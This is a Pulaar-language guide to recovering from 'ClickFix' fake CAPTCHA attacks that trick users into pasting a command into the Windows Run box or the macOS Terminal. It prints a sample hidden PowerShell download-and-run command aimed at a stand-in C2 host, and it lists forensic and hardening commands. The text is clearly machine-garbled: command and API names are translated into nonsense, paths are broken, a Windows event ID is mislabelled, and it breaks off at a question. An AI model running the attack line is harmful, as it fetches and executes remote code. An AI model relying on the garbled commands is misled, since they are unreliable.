Fenaande CAPTCHA fenaande 'ClickFix': Hol ko waɗi toɓɓude Win+R e Ctrl+V ina dogna malware wujjoowo kabaruuji¶

So a ɓuuɓtii tan butoŋ "Mi wonaa roboo" walla "Hoolkiso wonde aɗa woni neɗɗo" e lowre (walla a yiyii Cloudflare Turnstile fenaande, Google Meet, Zoom, walla majjere kesɗitingol feerorde) yamiri ma toɓɓude Windows + R (walla udditu Terminal macOS), toɓɓu Ctrl + V (Cmd + V), e fiyde ** .Enter**, ordinateer maa waɗii jooni payload malware - ko ɓuri heewde ko... Lumma Stealer, Vidar, StealC, RedLine, walla Atomic macOS Stealer (AMOS) info-wujjoowo. Alaa CAPTCHA laawɗuɗo, ƴeewndo Cloudflare, walla kuutorgal jokkondire wideyoo e dow Leydi meeɗaa naamnaade neɗɗo udditaade kaɓirgol Windows Run (Win + R), Terminaal Windows, Ɗaɓɓaande Yamiroore, walla Terminaal macOS e jokkitde yamiroore. Nde ɓuuɓ-ɗaa e kaɓirgol "Hoolkiso" fenaande ngol e oon hello web, JavaScript bonɗo (navigator.clipboard.writeText()) e nder deeƴre, koppii PowerShell suuɗiiɗo, . mshta.exe, rundll32, walla curl | bash yamiroore e dow alluwal maa. E nder 3 haa 6 leƴƴanɗe toɓɓugol Enter, ndeen winndannde ƴettii executable nder memto (MetaMask, Phantom, Rabby), maande Discord/Telegram, e kuuki jokkondire kuutorteeɗo ummoraade e Chrome, Edge, Brave, e Firefox - ina addana ñaawooɓe ɓee ƴettude konte maa Gmail, Microsoft 365, banke maa, e konte gollorɗe maa tawa aɗa sokli konngol maa kuutorgal walla Hoolkisaare geɗe ɗiɗi (2FA). Ngam feewnude luggiɗnde e jokkondire feerorde hijacked, kadi ƴeewto ƴettugol kukiiji jonnde, malware infostealer, e ittugol kuutorgal; so tawii a yiyii kaalis ina yalta e boowal self-custody, diw ɗoon e ɗoon to kripto-kaalis wallet drain e aawdi konngol kompromi; walla so tawii fenaande haaldii e maa ngam waɗde AnyDesk walla ScreenConnect, ƴeew ballal teknoloji pop-up fenaande e ittugol biro to woɗɗi. So tawii ndeeɗoo ñawu waɗii e nokku gollorɗo safrirde, e lowre municipaal, walla tawa ina waɗi ƴaañorgal ko yaawi ngam hisnude nguurndam, noddu limoore emergency nokku maa (911 to leyɗeele dentuɗe Amerik e Kanadaa, 112 e nder Dental Orop fof, 999 e nder leydi Angalteer) walla ƴeewto regginorde amen e limooje caɗtuɗe.

Waɗde ɗum jooni¶

1. Ittu kaɓirgal maa Ethernet walla ɓuuɓnu Wi-Fi e ordinateer mo ñawu nguu heɓtii oo e nder leƴƴanɗe 5: Info-wujjooɓe ina njiɗi Lumma Stealer paaspoor feerorde maa SQLite (Login Data, Cookies, Network/Cookies, Web Data) nder a .zip arsiif e nder %TEMP% e neldude ɗum e Yamiroore-e-Kontrol (C2) serveer, caggal ɗuum heewi huutoraade Trojan ɗiɗaɓo Remote Access (RAT), SOCKS5 ko jokkorgal hoɗorde, walla jokkorgal ransomware. Taƴde jokkorde internet ina dartina payndaale ɗiɗmere e jokkondire ekran/keystroke jokkuɗe ɗoon e ɗoon.
2. WOTO huutoro ordinateer gonɗo e ñawu nguu ngam waylude konte maa - ƴettu smartphone laaɓɗo (e dow doggi celluka) walla ordinateer mo ñawu nguu heɓaani jooni jooni: So tawii ko keylogger duumotooɗo, hijacker clipboard, walla... HVNC (Hidden Virtual Network Computing) module ina doga e RAM e ordinateer mo ñawu nguu heɓtii, winndude konte maa kese e oon ordinateer gooto ina rokka kaayitaaji kesi ɗii laawol feewde e jokkorgal ngal.
3. Gila e telefoŋ maa laaɓɗo, ɓuɗɗu "Yaltu e denndaangal kaɓirɗe / Woppu denndaangal jonte kuutorteeɗe" e iimeel maa gadano (Gmail / Microsoft 365 / Yahoo), gardiiɗo konngol, e golle SSO (Okta / Entra ID) ADI:
4. Ko waɗi waylude konngol maa tan heƴaani: Wujjooɓe kabaruuji ina ngujja kuukiiji joɗnde hoolkiso maa (SAPISID, SID, ESTSAUTH, .ROBLOSECURITY, li_at). E nder laylayti keewɗi, kuuki joɗnde yaltinaande ina heddii e balɗe walla jonte so wonaa tawa aɗa ɓuuɓtoo Yaltu e denndaangal jonɗe / Woppu toɓɓe E waylude konngol maa.
5. Google / Gmail: njillu myaccount.google.com/device-activity -> suɓo kala jonnde desktop -> ɓuɗɗu Yaltu, caggal ɗuum waylu konngol maa Google, ƴeewto Settings -> Forwarding and POP/IMAP ngam kuule jokkondire silsil.
6. Mikrosoft / Outlook / ID naatgol: Njillu mysignins.microsoft.com/security-info -> ɓuɗɗu Yaltu e kala nokku, caggal ɗuum ƴettu password maa.
7. So aɗa joginoo kala ko ina ɓeyda kaalis kripto (MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Exodus, Electrum) e oon ordinateer, ƴettu kaalis oo fof e konngol aawdi kesol e dow kaɓirgal laaɓngal ɗoon e ɗoon:
8. Lumma Stealer e AMOS koppirde ko sifiraa koo Local Extension Settings Fiildeeji jokkorgal IndexedDB/LevelDB ummoraade e Chrome/Brave/Edge feewde e serveer jokkorgal ngal, ɗo denndaangal GPU kuutortoo ngam ustude konngol kuutorgol maa nokkuure tawa aɗa woni e laylaytol (walla janngu konngol aawdi ngol feewde e RAM so udditaama). Tesko-ɗen kala konngol aawdi e jokkorgal keeringal meeɗngal moofteede e oon PC ko 100 e nder teemedere bonnaama.
9. Ko adii nde momtataa PC, reento yamiroore laaɓtunde nde njogiɗaa ndee ngam anndude ko huutoraa:
10. E nder Windows, udditaa Notepad (so aɗa woni e laylaytol) toɓɓu Ctrl + V ngam jokkitde ko jooɗii haa jooni e nder lowre maa, walla toɓɓu Windows + R e ɓuɗɗude e ŋorol gonngol les ngol ngam janngude Ɓuri huutoreede ko ɓooyaani (MRU) Doggol daartol mooftaangol e nder HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU. Ƴettu foto ndeen yamiroore e telefoŋ maa ngam jaabaade kewu.
11. Waɗde jokkorgal USB laaɓngal (walla wipe forensic timmuɗo tawa ko e laylaytol) wonaa hoolaade ƴeewndo antivirus yaawngo: Modern ClickFix payloads kuutortoo ko binndi Windows siynaaɗi laawɗinaaɗi (Living-off-the-Land Binaries mala LOLBins hono mshta.exe, powershell.exe, certutil.exe, regsvr32.exe, e AutoIt3.exe) ɗe innirta e nder geɗe system laawɗuɗe (explorer.exe, svchost.exe) e heewde ɓeydude heen ko yaltata e Windows Defender ( ).Add-MpPreference -ExclusionPath).

Lekki kuulal : jokkondire e ƴellitgol ɗoon e ɗoon caggal ClickFix Win+R walla paaspoor Terminaal¶

Rewru e ndee lekki pellital e sahaa nde ngannduɗaa a jokkii yamiroore e nder mum Win + R, Terminaal Windows, walla Terminaal macOS:

flowchart TD
    Start["Koolaaɗo kuuɓal CAPTCHA / Yamiroore Fiɓnde Juumre e nder Win+R, PowerShell, walla Terminaal macOS"] --> Disconnect["ƊATAL 1 (0 haa 10 Leƴƴannde): Sokkit Ethernet & Mumtu Wi-Fi e ordinateer gonɗo e ñawu nguu ɗoon e ɗoon"]

    Disconnect --> CryptoCheck{"Mbele Oo Ordinateer Ina Jogii Kaɓirɗe Kiripto (MetaMask, Fantom, Eksodus, Ledger Live, Kaɓirɗe Hisnaaɗe)?"}

    CryptoCheck -->|"Eey"| EvacCrypto["ƊATAL 2 (URGENT): E dow Wallet Telefoŋ/Hardware Laaɓɗo, Sos Konngol Aawdi KESO KESO e Naatde Denndaangal Ngalu Yahde ɗoon e ɗoon"]
    CryptoCheck -->|"Alaa"| CleanDevice["ƊATAL 2: Waylu e Smartphone laaɓɗo (Data Cellular) walla Kaɓirgal ngal alaa ko bonnata"]

    EvacCrypto --> CleanDevice

    CleanDevice --> RevokeSessions["ƊATAL 3: Woppude joɗle Server-Side & Waylude Passwords e nder njuɓɓudi ɓurndi tiiɗde"]

    RevokeSessions --> P1["1. Imeel gadano (Gmail / M365 / Proton): War Denndaangal Joɗle Kaɓirgal Kuuɓtodinngal, Resndo Konngol, Ƴeew Kuule Jokkondire"]
    P1 --> P2["2. SSO Golle / Sosiyetee (Okta / Entra ID / VPN / AWS / GitHub / SSH Keys): Habrirde SOC Sosiyetee ɗoon e ɗoon so tawii Konte Golle Naatii"]
    P2 --> P3["3. Konte kaalis, bankeeji, paypal, stripe, amason, steam, discord, e konte lowre renndo"]

    P3 --> InspectPayload["ƊATAL 4 (Offline e PC gonɗo e ñawu nguu): Ƴeewto Binndital RunMRU & ID Kewu Golle PowerShell 4104 ngam anndude Payload"]

    InspectPayload --> WipeChoice{"Mbele ɗum ko jokkorgal gollorde walla ordinateer neɗɗo?"}
    WipeChoice -->|"Korporaasiyoŋ / BYOD e Heɓde Golle"| CorpIR["Masiŋaaji junngo ɗi ngonaa e laylaytol to kisal IT / SOC ngam ƴeewndaade EDR e BitLocker Re-Image"]
    WipeChoice -->|"Windows / Mac neɗɗo"| CleanInstall["Back Up tan ko binndanɗe laaɓtuɗe (Alaa .exe/.bat/.dmg) -> Boot USB laaɓɗo -> Mumtu peccitagol & Sosde OS"]

Faandaare 1: Anatomi njiyaagu "ClickFix" - No hello web hippirta Win + R¶

Famde ko waɗi e nder ordinateer maa e nder ɗeen leƴƴanɗe 5 ina hollita ko waɗi won e fiiluuji e konte ina ngondi e baasal ɗoon e ɗoon tawa woɗɓe ngonaa.

1. Lure 3 innde renndo kuutorteeɗe e kampaañ ClickFix¶

Ñaawooɓe ina njuɓɓina jokkorgal ClickFix e nder malvertising (njeñtudi njiylawu ballitoori), lowe WordPress bonɗe, portaluuji lowre/streaming pirat, defte GitHub fenaande, e iimeeluuji fenaande : 1. Kaɓirgal Google reCAPTCHA ("Hoolkiso ko a neɗɗo"): Aɗa ɓuuɓtoo e kaɓirgol "Mi wonaa roboo". E nokku ɗo maande ɓaleere woni ɗoo, jokkorgal feeñata ina winndaa heen: "Trafik mo meeɗaa yiyeede. Ngam hoolkisaade wonde aɗa woni neɗɗo, timmin ɗeeɗoo geɗe 3: 1. Toɓɓu." Windows + R e dow keyboard maa. 2. Toɓɓu Ctrl + V. 3. Toɓɓu Enter." 2. Font Chrome / Edge fenaande walla Juumre kesɗitingol ("Won ko ŋakki e hollirde ngoo hello web"): Fooyre ɓuuɓnde ina suddii lowre ndee e kaɓirgol Chrome nanndungol e laawɗungol ina wiya seedantaagal root walla kesɗitingol font ŋakki ina ɗaɓɓi e maa udditde Windows PowerShell / Terminal e jokkondirde e "binndol peewnugol laawɗungol." 3. Juumre Zoom fenaande / Joɗnde Google / Juumre Mikro walla Kamera Goomuuji Microsoft: Neldaaɗo e noddaango yeewtere golle fenaande walla jokkorɗe pottital kiliyaneeɓe, hello ngoo hollirta ko ekran wideyoo wirnotooɗo e wiyde huutortooɓe macOS e Windows yo udditu Terminal e jokkondirde e yamiroore "driver reset".

2. Ko waɗi yamiroore ndee ina wayi no harmless e nder... Win + R kees¶

Ko... Windows + R (Run) kaɓirgol binndol kaaldigal ko tan 259 alkulal yaajngal e yiyngo (MAX_PATH Fannu naatnugol UI), kadi hollirta tan ko jokkondiral jokkorgal jokkorgal caggal nde jokkorgal maa diwi to bannge ñaamo. Ñaawooɓe ina kuutoroo ndeeɗoo taƴre yiytere ngam ustude yamiroore mum en bonnde e nokkuuji walla joofnude ɗum e miijo fenaande:

powershell.exe -w hidden -nop -c "iex(iwr 'https://malicious-c2.example/payload.txt' -UseBasicParsing)" # Cloudflare Human Verification ID: 849201 - Press Enter to Confirm

3. Ko woni tigi Lumma Stealer, StealC, e AMOS wujjude e nder leƴƴanɗe 4¶

Faandaare 2: Udditgol konte e ustude jonnde (Hojomaaji 1 haa 30 - E dow kaɓirgal laaɓngal)¶

So tawii PC gonɗo e ñawu nguu ina heddii e jokkondirde e internet haa laaɓi, huutoro smartphone laaɓɗo walla ordinateer ɗiɗaɓo ngam waɗde ndeeɗoo jokkondire laaɓtuɗe.

Ɗatal 1: Uddit konte maa Imeel (Gmail, Microsoft 365 / Outlook, Yahoo, Apple iCloud)¶

Ngam kala konte imeel naatɗe e kala nate feerorde (Default, Profile 1, Work) e oon ordinateer: 1. Joofnu denndaangal joɗle kuutorɗe kuutorteeɗe: - Google / Gmail: Yah to... myaccount.google.com/device-activity -> suɓo kaɓirgol Windows/Mac gonngol e ñawu nguu (e kala joɗle ɗe nganndu-ɗaa) -> ɓuɗɗu Yaltu. Kadi njillu myaccount.google.com/connections e ittude kala appli OAuth goɗɗo tuumaaɗo. - Mikrosoft (M365 neɗɗo e golle): Yah to account.live.com/proofs/Manage (neɗɗo) walla mysignins.microsoft.com/security-info (golle) -> ɓuɗɗu Yaltu e kala nokku. 2. Waylu konngol imeel e konngol kesol, keeriiɗo, mooftiraaɗo tan e kaɓirgol maa laaɓngol. 3. Ƴeewto Kuule Kees Naatgol, Fiiltirɗe, e Neldugol Otomatik ɗoon e ɗoon: Gollotooɓe wujjooɓe kabaruuji ina mbaɗa binndanɗe otomaatik naatɗe e kuukiiji Gmail/Outlook wujjaaɗi e nder hojomaaji seeɗa caggal nde njiy-ɗaa ɗum, mbaɗa heen filtirde suuɗnde: *So mesaas oo ina waɗi "Kisal", "Kod", "Coinbase", "Binance", "Banke", walla "Steam" -> Maande ko Jannguɗo, Yeewtu to Feeds/Tracker. - E nder Gmail: Uddit yiyngo biro -> Settings (gear icon) -> See all settings -> Filters and Blocked Addresses E Forwarding and POP/IMAP. Mumtu kala filtirde walla adrees neldugol mo anndaaka ɗoon e ɗoon. - E nder ƴeewndo / M365: Uddit Settings -> Mail -> Rules E Mail -> Forwarding E Mail -> Junk email (ƴeew neldooɓe coklaaɗe ngam hoolkisaade so tawii jokkorgal ngal haɗaani no-reply@accounts.google.com walla banke maa).

Ɗatal 2: Sokkitde njuɓɓudi konngol (Bitwarden, 1Password, Dashlane, KeePass, iCloud Keychain)¶

• A mooftii konte maa e nder Chrome / Edge / Brave mahaaɗo e njuɓɓudi konte? Kala konngol gootol mooftaangol e nder Chrome, Edge, Brave, Opera, walla Firefox (so wonaa tawa Firefox ina joginoo set konngol kuutorteengol ngol) ko info-stealer yaltini ɗum e binndol laaɓtungol. Aɗa foti jogaade 100 e nder teemedere konngol kuutorteengol e nder feerorde ndee, tawa ina waɗi konngol kuutorteengol e nder mum. iimeel, e konte golle.
• Mbele a huutoriima njuɓɓudi konngol (1Password, Bitwarden, Proton Pass, Keeper)?
• So tawii lowre ndee udditaama e sahaa mo ndokku-ɗaa yamiroore ndee, lowre maa sifirnde ndee ina heddii e reeneede e Konngol maa Master / Secret Key.
• So tawii jokkorgal jokkorgal ngal udditaama e nder ciimtol (walla so a winndii Konngol maa Master caggal nde dogdu-ɗaa yamiroore ndee), naataa e jokkorgal web gardiiɗo konngol ngol gila e telefoŋ maa laaɓɗo, ɓuɗɗu e Deauthorize all sessions (Bitwarden: Settings -> My Account -> Deauthorize Sessions), yirlo Master Password maa, e ardin yirlaade seedanteeje toowɗe nder lowre ndee.

Ɗatal 3: Woppude Tokens Developer, Sosiyetee, e Chat (GitHub, AWS, Discord, Telegram, Steam)¶

• Discord: Waylude konngol maa Discord ina bonna toɓɓere hoolkiso maa ɓooynde (leveldb maande). Ɗoon e ɗoon waylu password maa Discord e telefoŋ maa, ƴeewto Settings -> Devices -> Yaltu denndaangal kaɓirɗe anndaaɗe, ƴeewto Settings -> Authorized Apps e Settings -> Billing (ittude kaayitaaji njulaagu/PayPal keɓtinaaɗi).
• Telegaram: E telefoŋ maa, udditaa Telegram -> Settings -> Devices -> tappu Tappirde Joɗndeeji goɗɗi ɗii fof ɗoon e ɗoon (ɗum ina wara kala ko wujjaa tdata tafngo foldere biro).
• Steam: E nder telefoŋ maa, udditu app Steam -> Steam Guard (shield icon) -> Gear icon -> Deauthorize all devices, waylu konngol maa, ƴeewto so tawii alaa API Key winnditaa e steamcommunity.com/dev/apikey (fenaaɓe ina mbinndita jokkorgal Steam Web API fenaande ngam ƴettude dokke njulaagu).
• GitHub / GitLab / AWS / SSH: So tawii ko a injenieer lowre walla sysadmin, njillu github.com/settings/sessions (moƴƴinde jonte feerorde), github.com/settings/keys (mumtu kuutorɗe SSH mooftaaɗe e oon PC), github.com/settings/tokens (waɗde Tokenuuji Naatgol Neɗɗo), e waylude kala -/.aws/credentials IAM coktirgal e nder konsol AWS IAM ɗoon e ɗoon. Ƴeew doggol amen teskinngol e... npm/PyPI jokkere enɗam e mbayliigu kuutorgal gollorde ƴellitoowo.

Faandaare 3: Ƴeewndo Forensic Offline - Anndude tigi ko dogi e ordinateer maa¶

Ko adii nde momtataa e udditde ordinateer mo ñawu nguu heɓtii oo (walla nde peewnu-ɗaa ciimtol wonande ekipaaji kisal maa), aɗa waawi ƴeewtaade e dow jam ko... ClickFix yamiroore waɗii e nder masiŋ oo 100% e nder laylaytol (Wi-Fi ina woɗɗi, Ethernet ina woɗɗi).

1. Ƴeewtaade Windows Win + R Daartol e binndanɗe PowerShell¶

1. Ƴeewto Doggol Windows (Win + R) Binnditagol MRU ( ).Most Recently Used) doggol: Uddit regedit.exe walla windo PowerShell mo alaa jokkorde e dogde:

   Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU"
   

   Kala yamiroore meeɗnde winndeede walla jokkondirde e mum Win + R ina hisnee ɗoo e les jeyiiji a, b, c, ekn Ƴeewee yamiroore winndaande e alkulal hollirngal adanngal e nder MRUList.
2. Ƴeewto Binndol PowerShell ngol jokkorgal kewu (ID kewu). 4104): Hay so tawii ñaawoowo oo huutoriima -WindowStyle Hidden (-w h) e kodde Base64 ( ).-EncodedCommand / -e), Windows ina ƴetta e hoore mum binndanɗe PowerShell tuumeteeɗe e nder Yiylorde Kewuuji:
3. Toɓɓu Win + X -> Yiylotooɗo kewu -> yah to Applications and Services Logs -> Microsoft -> Windows -> PowerShell -> Operational.
4. Fiiltirde ngam ID kewu 4104 (Execute a Remote Command). Maa a yiy binndol PowerShell ngol tigi rigi, URL ngol ngol ƴetti, e foldere nde %TEMP%, %AppData%, walla %LocalAppData% ɗo nde jippini payndaale mayre ɗiɗmere.
5. Ƴeewto ɗo tiiɗnaare sosaa e Windows: Info-wujjooɓe e binndanɗe mum en loowdi (NetSupport Manager RAT, Amadey, SectopRAT, AsyncRAT) tabitinde nguurndam reboot e nokkuuji nay :

   # 1. Registry Run / RunOnce keys:
   Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
   Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"
   
   # 2. Startup Folder shortcuts (.lnk / .vbs / .bat):
   Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -Force
   
   # 3. Recently created Scheduled Tasks:
   Get-ScheduledTask | Where-Object {$_.Author -ne "Microsoft Corporation"} | Select-Object TaskName, TaskPath, State
   
   # 4. Windows Defender Exclusions added by the malware:
   Get-MpPreference | Select-Object -ExpandProperty ExclusionPath
   Get-MpPreference | Select-Object -ExpandProperty ExclusionProcess
   

   (So a yiyii C:\, C:\Users, %AppData%, walla .exe ɓeydaama les ExclusionPath mala ExclusionProcess, lowre ndee ina wumtina Microsoft Defender e masiŋ maa.)

2. Ƴeewtaade macOS caggal nde Terminaal ClickFix (Atomic macOS Stealer / AMOS mala Poseidon)¶

E nder macOS, kelle ClickFix ina mbiya kuutortooɗo oo yo udditu Terminal (Cmd + Space -> Terminal) e jokkitde yamiroore base64-kodde hono echo "..." | base64 -d | bash. 1. So aɗa woppi laylaytol, ƴeewto daartol maa (cat -/.zsh_history | tail -n 30 mala cat -/.bash_history). 2. Ƴeewto so tawii malware oo ina joginoo LaunchAgent mo duumotoo:

ls -la ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons

Faandaare 4: Feere laaɓtunde - Ko waɗi aɗa foti momtude e udditde (walla dogginde hisnude tawa aɗa woni e laylaytol)¶

Laabi kisal (CISA, FBI, NCSC) ina wasiyoo no feewi wippude e udditde ordinateer oo e nder diski USB laaɓɗo caggal info-stealer walla LOLBin eɓɓoore, sabu loowooɓe ina keewi waɗde shellcode e nder binnditagol system laawɗungol, udditde diisnondirooɓe rootkit/proxy, walla accude dame caggal ŋoŋɗi (NetSupport RAT / Cobalt Strike).

Ɗatal-ɗatal Laɓɓin Reinstallation & Backup Fiilde Kisal¶

1. So PC mo ñawu nguu heɓtii oo ina woɗɗi, ƴettu fiiluuji dokke laaɓtuɗe TAN: Koppir tan binndanɗe neɗɗo, fotooje, nate limtooje, e kode iwdi (.pdf, .jpg, .docx, .xlsx, .mp4, .txt) e dow diski USB yaajɗo. Woto meeɗ ruttaade caggal .exe, .msi, .bat, .ps1, .vbs, .js, .lnk, .dmg, .pkg, walla feerorde User Data foldereeji nate.
2. E ordinateer ƊIƊAƁO, laaɓɗo, sos USB bootoowo Windows 11 Tagngo Media (microsoft.com/software-download/windows11) walla nokku Restoraaji macOS.
3. Boot ummoraade e jokkorgal USB laaɓngal, momtu denndaangal peccitagol gonngol e SSD boot (hono no peccitagol EFI System Partition, MSR, e peccitagol OS adanngol ngol sosetee ko keso), jokkorgal koppi laaɓɗo e jokkorgal gollorde ngal.
4. So tawii a waawaa momtude masiŋ oo ɗoon e ɗoon:
5. Ittu denndaangal ko Defender yaltini (Remove-MpPreference -ExclusionPath ...).
6. Fuɗɗoo e nder Mode Kisal Windows tawa Reso ina muusi (walla fuɗɗoo e Disko Hisnugol Kaspersky / USB ESET SysRescue Live), e dognude ƴeewndorɗe timmuɗe tawa aɗa huutoroo Microsoft Defender Offline (Start-MpWDOScan), Malwarebytes, e Skanneer ESET to Enternet, ɓeydu heen ƴeewtaade kala naatgol e nder Doggol Siistem (autoruns64.exe) e Suuɗde Naatgol Microsoft ƴeewtaaka.

Daawe 5 : Hakkunde Windows e macOS mbele ClickFix ina waasa waɗde kadi¶

• Suuɗde walla ustude... Windows + R (Run) kaaldigal wonande terɗe galle ɗe ngonaa karallaagal walla huutortooɓe gollorɗe kuuɓtodinɗe rewrude e Politik Goomu / Binnditagol: Joɗnde NoRun = 1 (DWORD) les HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer ina haɗa haa laaɓa cer Windows + R jokkorgal keyboard. Sabu 95 e nder teemedere e njanguuji ClickFix tuugii ko e toɓɓude kuutortooɗo Win + R, softinde kaɓirgol Doggol ina haɗa coodgu nguu hade kuutortooɗo waawde jokkondirde e huunde.
• Waylu fedde fiilngo default ngam .hta, .vbs, .js, e .wsf binndi to notepad.exe: haɗde mshta.exe e wscript.exe rewrude e Windows Ustugol leydi (ASR) kuule walla jokkondirɗe .hta/.vbs/.js e Notepad haɗata binndol ngol.
• Ɓeydu konte teeŋtuɗe e Passkeys jokkondirɗe e Hardware (FIDO2 / WebAuthn Kuutorɗe kisal hono YubiKey): So tawii wujjooɓe kabaruuji ina mbaawi wujjude kuukiiji joɗnde e nder feerorde caggal nde naati, kuutorɗe kisal hardware (FIDO2) e nguurndam joɗnde juutnde e Ƴeewndo Jokkondiral (CAE / Kaɓirgal Session Bound DBSC) haɗde ƴaañooɓe ɓee ƴeewtaade walla yaltinde kaayitaaji gonɗi les ɗii.
• Sosde yeeyirde feerorde e haɗde yeeyirde bonnde (uBlock Origin / uBlock Origin Lite) e softinde Feewnitde Kisal ɓeydaande: Ko ɓuri 60 e nder teemedere e ñawuuji ClickFix ummorii ko e yeeynooje njiylawu Google/Bing bonɗe baɗɗe lowre laawɗunde (Slack, Notion, OBS, Homebrew, WinSCP, TradingView) walla lowe streaming.

Limooje emergency diiwaan e porotokolle agence¶

So tawii ko ClickFix / Lumma Stealer infection compromised seedanteeje gollorɗe, njuɓɓudi cellal, konte kaalis, walla resooji laamu, ciimtol ko waɗi koo ɗoon e ɗoon e laabi laamu :

• Leyɗeele dentuɗe Amerik e Kanadaa:
• Kisal Nguurndam / Njuɓɓudi Caɗtundi: Dial 911 so tawii ñawu nguu ina bonna njuɓɓudi safrirde walla golle kisal renndo.
• FBI ngam wullitaade bonanndeeji e nder internet (IC3) (US): Fiilde ciimtol ko yaawi to ic3.gov (haa teeŋti noon so tawii kaalis kripto, kaɓirɗe banke, walla Business Email Compromise ummorii ko e kuukiiji joɗnde wujjaaɗi ɗii).
• Agence kisal siber e kisal gollorɗe (CISA) (US): Pelle gollorɗe e gollorɗe tiiɗɗe ina poti humpitaade ŋakkeende infostealer to 1-844-Say-CISA (1-844-729-2472) walla cisa.gov/report.
• Centre Kanadaa ngam haɓaade fenaande (CAFC) & Catal Siber: Noddu 1-888-495-8501 walla ciimtol to cyber.gc.ca.
• Dental Dowlaaji Dentuɗi:
• Serwisuuji cafrirɗi: Noddu 999 (walla 101 wonande polis mo wonaa emergency).
• Fooyre golle & NCSC: Habrirde bonanndeeji siber e kaalis wujjaaɗo to Fooyre golle (0300 123 2040 / actionfraud.police.uk). So tawii dokke walla seedanteeje sosiyetee ɗee njuppaama, ƴeewto doosgal 72-hour UK GDPR notifikaasiyoŋ to ICO (0303 123 1113).
• Dental Orop:
• Serwisuuji cafrirɗi: Noddu 112 e nder denndaangal leyɗeele jeyaaɗe e UE.
• Kuulal 33 GDPR & NIS2 CSIRT Habrirde: Sabu Lumma Stealer ina ɓuuɓna denndaangal feerorde Login Data, Cookies, e caches autofill, kala laptop gollordu gonnduɗo e ñawu nguu, joginooɗo dokke gollotooɗo walla soodoowo, ina jeyaa e ko ƴaañii e dokke sirlu, ina ɗaɓɓi ƴeewndo ngam humpitaade waktuuji 72 to Hukuuma ngenndiijo toppitiiɗo ndeenka dokke (DPA).
• Ostarali e Nuwel Selannde:
• Serwisuuji cafrirɗi: Noddu 000 to Ostarali walla 111 to leydi Nuwel Selannde.
• Nokku kisal siber to Ostarali (ACSC / CiimtolSiber): Noddu 1300 CYBER1 (1300 292 371) walla fayndaare to cyber.gov.au (e jokkondirde e IDCARE to 1800 595 160 ngam heɓtude anndinde). To leydi Nuwel Selannde, ciimtol to CERT NZ (0800 237 869).
• Inndo e Asii-Pacifik:
• Laylaytol ballal leydi Indiya ngam haɓaade bonanndeeji e nder internet & CERT-In: Noddu 1930 ɗoon e ɗoon so tawii fenaande kaalis waɗii, file at cybercrime.gov.in, e humpitaade ŋakkeende njuɓɓudi to CERT-In (incident@cert-in.org.in) e nder waktuuji 6.

Naamne keewɗe naamneede¶

Mi udditi Win + R e toɓɓude Ctrl + V, ko noon binndol ngol feeñiri e nder kaɓirgol ngol, kono mi anndi ngol wayi ko no ɓuuɓri nii, mi ɓuuɓtii "Cancel" TAWAA ɓuuɓtugol Enter. Mbele miɗo wondi e ñawu nguu?¶

Alaa, aɗa selli haa laaɓi. Hello web feerorde ina waawi ƴettude binndol e nder lowre maa tawa ina huutoroo JavaScript (navigator.tablo.winnduBinndol), e toɓɓude Winndere + R rewi heen ko Konngol + V tan ko jokkondirde e oon doggol binndol e nder kaɓirgol naatnugol Windows Run. Alaa ko execute haa a toɓɓa Naat walla ɓuɗɗu Okay. So a ɓuuɓtii Woppu walla udditi... Doggo kaɓirgal tawa aɗa toɓɓa Naat, alaa yamiroore udditaa. Laɓɓin tan clipboard maa e ƴettude konngol ngol alaa ko bonnata hono on njaaraama e nder Notepad e uddude jokkorgal feerorde bonnde.

Hol ko waɗi Windows Defender walla antivirus am haɗaani yamiroore nde njolnu-mi nde Win + R?¶

Sabu aan - kuutortooɗo aadee naatɗo - toɓɓu ɓanndu Winndere + R e hit Naat, Windows ina jogoo yamiroore ndee no gollal njuɓɓudi anniya udditirgal gila ƴeewndotooɗo.exe wonaa fiilngo ngo hoolaaki, ngo ƴettaa e internet (ngo no woorunoo ina jogori jogaade Mark-of-the-Web Zone.Annditiroowo tag). Yanti heen, caɗeele ClickFix ina kuutoroo binnditagol Microsoft mahaaɗo (mshta.exe, doole.exe, koɗo.exe, walla firooji tataɓi siynaaɗi hono OtoIt3.exe) ngam mooftude e ƴettude payndaale ɗee to bannge RAM, heewi huutoraade Ɓeydu-MpCuɓal -Laawol Jaɓɓugol "C:\" e nder milisekon gadano oo hade maa winndude kala fiilde malware anndiraande e disko.

Mbele info-stealer ina wujja piille e denndaangal konte kuutortooɗe e ordinateer am, walla ko lowre am tan (Default vs. Profile 1, Profile 2)?¶

Info-wujjooɓe ina ƴeewa kala doggol nate feerorde nder konte maa kuutortooɗo Windows (%Dowlaaji App nokkuure%\Google\Chrome\Dowlaaji kuutortooɗo\Dowlaaji, Profaayiil 1, Profaayiil 2, ekn, e nder Chrome, Edge, Brave, Opera, e Firefox), hay so tawii ɗeen nate feerorde ɗiɗmere ngalaano windo udditiingo e oon sahaa. Ɗum firti ko so aɗa jogii nate Chrome "Golle" ceertuɗe e nate Chrome "Neɗɗo" e les naatgol Windows gootol, porofaayiiluuji ɗii fof ina njoginoo konte mum en keɓtinaaɗe e kuukiiji joɗnde wujjaaɗe e sahaa gooto.

Hol ko woni so tawii miɗo huutoroo Passkey e konte am Google walla Microsoft - mbele wujjoowo info oo wujjii Passkey am?¶

